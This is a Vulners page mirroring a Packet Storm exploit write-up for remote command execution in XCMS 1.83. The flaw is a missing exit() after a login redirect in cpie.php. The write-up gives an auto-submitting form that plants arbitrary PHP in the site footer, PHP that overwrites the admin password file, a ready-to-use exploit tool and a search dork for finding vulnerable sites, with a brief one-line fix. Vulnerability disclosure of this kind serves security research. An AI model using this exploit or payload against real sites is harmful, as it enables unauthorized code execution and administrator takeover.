Lucene search
K

XCMS 1.83 Remote Command Execution

🗓️ 03 Apr 2023 00:00:00Reported by OnurcanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1085 Views

Xcms 1.83 Remote Command Execution vulnerabilit

Code
`Exploit Title: XCMS v1.83 - Remote Command Execution (RCE)  
Author: Onurcan  
Email: [email protected]  
Site: ihteam.net  
Script Download : http://www.xcms.it  
Date: 26/12/2022  
  
The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.  
Taking "home.php" for example:  
  
<?php  
//home.php  
[...]  
include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"  
?>  
  
So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.  
So let's take a look to the bugged code.  
  
<?php  
//cpie.php  
[...]  
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D  
[...]  
if(isset($_POST['salva'])){  
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control  
}   
[...]  
?>  
  
So with a simple html form we can change the footer.  
Ex:  
  
<form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">  
<input type="hidden" name="salva" value="OK" />  
<textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>  
<input type="submit" value="Modifica" />  
</form>  
<script>document.editor.submit()</script>  
  
Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.  
  
  
  
Trick: We can change the admin panel password by inserting this code in the footer:  
  
<?php  
$pwd = "owned"; // <- Place here your new password.  
$pwd2 = md5($pwd);  
unlink("dati/generali/pass.php");  
$f = fopen("dati/generali/pass.php",w);  
fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");  
fclose($f);  
?>  
  
This code delete the old password file and then create a new one with your new password.  
  
  
Fix:  
  
<?php  
//cpie.php  
[...]  
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.  
[...]  
if(isset($_POST['salva'])){  
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control  
}   
[...]  
?>  
  
So this is a simple exploit:  
  
  
<?php  
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){  
echo "  
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">  
<input type=\"hidden\" name=\"salva\" value=\"OK\" />  
<textarea name=\"testo_0\">".$_POST['code']."</textarea>  
<input type=\"submit\" value=\"Modifica\" />  
</form>  
<script>document.editor.submit()</script>";  
}else{  
echo"  
<pre>  
XCMS <= v1.82 Remote Command Execution Vulnerability  
Dork : inurl:\"mod=notizie\"  
by Onurcan  
Visit ihteam.net  
</pre>  
<form method=POST action=".$_POST['PHP_SELF'].">  
<pre>  
Site :  
<input type=text name=site />  
Code :  
<textarea name=code cols=49 rows=14>Your code here</textarea>  
<input type=submit value=Exploit />  
<input type=hidden name=\"send\" />  
</pre>  
</form>";   
}   
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Apr 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
1085